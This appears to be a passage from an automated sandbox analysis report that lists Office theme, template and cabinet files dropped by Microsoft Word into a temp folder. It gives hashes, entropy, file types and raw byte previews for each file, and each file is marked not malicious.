SHA-512:	4736E4F26C6FAAB47718945BA54BD841FE8EF61F0DBA927E5C4488593757DBF09689ABC387A8A44F7C74AA69BA89BEE8EA55C87999898FEFEB232B1BA8CC7086
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .G.a.l.l.e.r.y...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8337.tmp\Droplet.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1750795
Entropy (8bit):	7.892395931401988
Encrypted:	false
SSDEEP:	24576:DyeAqDJpUDH3xk8ZKIBuX3TPtd36v4o5d4PISMETGBP6eUP+xSeW3v0HKPsc:uRqUjSTPtd36AFDM/BP6eUeW3v0Fc
MD5:	529795E0B55926752462CBF32C14E738
SHA1:	E72DFF8354DF2CB6A5698F14BBD1805D72FEEAFF
SHA-256:	8D341D1C24176DC6B67104C2AF90FABD3BFF666CCC0E269381703D7659A6FA05
SHA-512:	A51F440F1E19C084D905B721D0257F7EEE082B6377465CB94E677C29D4E844FD8021D0B6BA26C0907B72B84157C60A3EFEDFD96C16726F6ABEA8D896D78B08CE
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8337.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	280
Entropy (8bit):	3.528155916440219
Encrypted:	false
SSDEEP:	6:Q+sxnxUXcmlDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyMmloymD0wbnKNAH/lMz1
MD5:	AA7B919B21FD42C457948DE1E2988CB3
SHA1:	19DA49CF5540E5840E95F4E722B54D44F3154E04
SHA-256:	5FFF5F1EC1686C138192317D5A67E22A6B02E5AAE89D73D4B19A492C2F5BE2F9
SHA-512:	01D27377942F69A0F2FE240DD73A1F97BB915E19D3D716EE4296C6EF8D8933C80E4E0C02F6C9FA72E531246713364190A2F67F43EDBE12826A1529BC2A629B00
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.r.o.p.l.e.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8491.tmp\Slate.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2357051
Entropy (8bit):	7.929430745829162
Encrypted:	false
SSDEEP:	49152:tfVcGO3JiR6SgT7/bOCrKCsaFCX3CzwovQTSwW8nX:pVcG2iRedsaoXSzeOwWEX
MD5:	5BDE450A4BD9EFC71C370C731E6CDF43
SHA1:	5B223FB902D06F9FCC70C37217277D1E95C8F39D
SHA-256:	93BFC6AC1DC1CFF497DF92B30B42056C9D422B2321C21D65728B98E420D4ED50
SHA-512:	2365A9F76DA07D705A6053645FD2334D707967878F930061D451E571D9228C74A8016367525C37D09CB2AD82261B4B9E7CAEFBA0B96CE2374AC1FAC6B7AB5123
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8491.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.516423078177173
Encrypted:	false
SSDEEP:	6:Q+sxnxUX7kARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny5ymD0wbnKNAH/lMz1
MD5:	5402138088A9CF0993C08A0CA81287B8
SHA1:	D734BD7F2FB2E0C7D5DB8F70B897376ECA935C9A
SHA-256:	5C9F5E03EEA4415043E65172AD2729F34BBBFC1A1156A630C65A71CE578EF137
SHA-512:	F40A8704F16AB1D5DCD861355B07C7CB555934BB9DA85AACDCF869DC942A9314FFA12231F9149D28D438BE6A1A14FCAB332E54B6679E29AD001B546A0F48DE64
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.l.a.t.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD851F.tmp\Damask.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2218943
Entropy (8bit):	7.942378408801199
Encrypted:	false
SSDEEP:	49152:8mwK3gH/l4hM06Wqnnl1IdO9wASFntrPEWNe7:863gHt4hM9WWnMdO9w35PEWK
MD5:	EE33FDA08FBF10EF6450B875717F8887
SHA1:	7DFA77B8F4559115A6BF186EDE51727731D7107D
SHA-256:	5CF611069F281584DE3E63DE8B99253AA665867299DC0192E8274A32A82CAA20
SHA-512:	AED6E11003AAAACC3FB28AE838EDA521CB5411155063DFC391ACE2B9CBDFBD5476FAB2B5CC528485943EBBF537B95F026B7B5AB619893716F0A91AEFF076D885
Malicious:	false
Preview:	PK.........{MBS'..t...ip......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.._..w._..w._..w._..w._..w._..w.n..Ofu.-..K.e........T..q.F...R[...~.u.....Z..F....7.?.v....5O....zot..i.....b...^...Z...V...R...N...r./.?........=....#.`..\~n.n...)J./.......7........+......Q..]n............w......Ft........\|......b...^...Z...V...R...N..W<x......l._...l..?.A......x....x.9.\|.8..............u................w#.....nD..]...........R.......R.......R........o...].`.....A....#.`..\.....+J./.......7........+......Q..]n.........w9~7......Ft........\|......b...^.c..-...-...-

C:\Users\user\AppData\Local\Temp\TCD851F.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.544065206514744
Encrypted:	false
SSDEEP:	6:Q+sxnxUXCARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyy6ymD0wbnKNAH/lMz1
MD5:	06B3DDEFF905F75FA5FA5C5B70DCB938
SHA1:	E441B94F0621D593DC870A27B28AC6BE3842E7DB
SHA-256:	72D49BDDE44DAE251AEADF963C336F72FA870C969766A2BB343951E756B3C28A
SHA-512:	058792BAA633516037E7D833C8F59584BA5742E050FA918B1BEFC6F64A226AB3821B6347A729BEC2DF68BB2DFD2F8E27947F74CD4F6BDF842606B9DEDA0B75CC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.a.m.a.s.k...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD860C.tmp\Mesh.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD860C.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.5303110391598502
Encrypted:	false
SSDEEP:	6:Q+sxnxUXzRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnylymD0wbnKNAH/lMz1
MD5:	8D1E1991838307E4C2197ECB5BA9FA79
SHA1:	4AD8BB98DC9C5060B58899B3E9DCBA6890BC9E93
SHA-256:	4ABA3D10F65D050A19A3C2F57A024DBA342D1E05706A8A3F66B6B8E16A980DB9
SHA-512:	DCDC9DB834303CC3EC8F1C94D950A104C504C588CE7631CE47E24268AABC18B1C23B6BEC3E2675E8A2A11C4D80EBF020324E0C7F985EA3A7BBC77C1101C23D01
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.s.h...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8727.tmp\Main_Event.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	2924237
Entropy (8bit):	7.970803022812704
Encrypted:	false
SSDEEP:	49152:mc4NEo4XNd5wU5qTkdC4+K9u5b/i40RKRAO/cLf68wy9yxKrOUURBgmai2prH:mJef5yTSoKMF//DRGJwLx9DBaH
MD5:	5AF1581E9E055B6E323129E4B07B1A45
SHA1:	B849F85BCAF0E1C58FA841FFAE3476D20D33F2DD
SHA-256:	BDC9FBF81FBE91F5BF286B2CEA00EE76E70752F7E51FE801146B79F9ADCB8E98
SHA-512:	11BFEF500DAEC099503E8CDB3B4DE4EDE205201C0985DB4CA5EBBA03471502D79D6616D9E8F471809F6F388D7CBB8B0D0799262CBE89FEB13998033E601CEE09
Malicious:	false
Preview:	PK.........{MB.$<.~....p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.......H^..<}...lA-.D.....lI/...hD.Z....\|VM..ze........L..tU...g....lQ....Y...>MI...5-....S......h=..u.h..?;h...@k...h...'Z...D...;.....h=..'Z...D...;.....)^./.../U.../..../U.../..../U..?...'.........Ngz..A.~.8.#D....xot.u.?...eyot.n..{..sk....[......Z..F....l...o)..o..o...oi..o)..o..,..b.s......2.C.z.~8.......f......x.9.\|.8..............u................r.nD..]...........w.~7...-...-...-...-...-...-....x.&l........>.4.z.~8..........=E....As.1..q. 9....w.7...1........w.}7......Ft...................o)..o..o...oi..o)..o..w.7a...x0...........d0..............A.......Fl.............Ft................w#...r.nD..]..M...K1.0..7....

C:\Users\user\AppData\Local\Temp\TCD8727.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5434534344080606
Encrypted:	false
SSDEEP:	6:Q+sxnxUXIc5+RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny4KcymD0wbnKNAH/lMz1
MD5:	C9812793A4E94320C49C7CA054EE6AA4
SHA1:	CC1F88C8F3868B3A9DE7E0E5F928DBD015234ABA
SHA-256:	A535AE7DD5EDA6D31E1B5053E64D0D7600A7805C6C8F8AF1DB65451822848FFC
SHA-512:	D28AADEDE0473C5889F3B770E8D34B20570282B154CD9301932BF90BF6205CBBB96B51027DEC6788961BAF2776439ADBF9B56542C82D89280C0BEB600DF4B633
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.a.i.n._.E.v.e.n.t...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD88D0.tmp\Vapor_Trail.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3611324
Entropy (8bit):	7.965784120725206
Encrypted:	false
SSDEEP:	49152:ixc1kZBIabo4dTJyr3hJ50gd9OaFxTy+1Nn/M/noivF0po3M0h0Vsm:ixcaAabT83hJLdoaFxTygxcoiX3M0iCm
MD5:	FB88BFB743EEA98506536FC44B053BD0
SHA1:	B27A67A5EEC1B5F9E7A9C3B76223EDE4FCAF5537
SHA-256:	05057213BA7E5437AC3B8E9071A5577A8F04B1A67EFE25A08D3884249A22FBBF
SHA-512:	4270A19F4D73297EEC910B81FF17441F3FC7A6A2A84EBA2EA3F7388DD3AA0BA31E9E455CFF93D0A34F4EC7CA74672D407A1C4DC838A130E678CA92A2E085851C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD88D0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.5359188337181853
Encrypted:	false
SSDEEP:	6:Q+sxnxUXe46x8RELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyO3UymD0wbnKNAH/lMz1
MD5:	0FEA64606C519B78B7A52639FEA11492
SHA1:	FC9A6D5185088318032FD212F6BDCBD1CF2FFE76
SHA-256:	60059C4DD87A74A2DC36748941CF5A421ED394368E0AA19ACA90D850FA6E4A13
SHA-512:	E04102E435B8297BF33086C0AD291AD36B5B4A97A59767F9CAC181D17CFB21D3CAA3235C7CD59BB301C58169C51C05DDDF2D637214384B9CC0324DAB0BB1EF8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.p.o.r._.T.r.a.i.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD88F0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.4699940532942914
Encrypted:	false
SSDEEP:	6:fxnxUXGWWYlIWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxny2WzIgN2RGHmD0wbnKYZAH+Vwv
MD5:	55BA5B2974A072B131249FD9FD42EB91
SHA1:	6509F8AC0AA23F9B8F3986217190F10206A691EA
SHA-256:	13FFAAFFC987BAAEF7833CD6A8994E504873290395DC2BD9B8E1D7E7E64199E7
SHA-512:	3DFB0B21D09B63AF69698252D073D51144B4E6D56C87B092F5D97CE07CBCF9C966828259C8D95944A7732549C554AE1FF363CB936CA50C889C364AA97501B558
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .I.n.s.i.g.h.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD88F0.tmp\Insight design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
MD5:	8BC84DB5A3B2F8AE2940D3FB19B43787
SHA1:	3A5FE7B14D020FAD0E25CD1DF67864E3E23254EE
SHA-256:	AF1FDEEA092169BF794CDC290BCA20AEA07AC7097D0EFCAB76F783FA38FDACDD
SHA-512:	558F52C2C79BF4A3FBB8BB7B1C671AFD70A2EC0B1BDE10AC0FED6F5398E53ED3B2087B38B7A4A3D209E4F1B34150506E1BA362E4E1620A47ED9A1C7924BB9995
Malicious:	false
Preview:	PK.........Y5B................[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^.....g.../i..b../..}.-......U.....o.7B.......}@[..4o...E9n..h...Y....D.%......F....g..-!.\|p.....7.pQVM.....B.g.-.7....:...d.2...7bA..Us.z.`.r..,.m."..n....s.O^.....fL.........7.....-...gn,J..iU..$.......i...(..dz.....3\|

C:\Users\user\AppData\Local\Temp\cab3A95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cab3AD5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cab7D02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
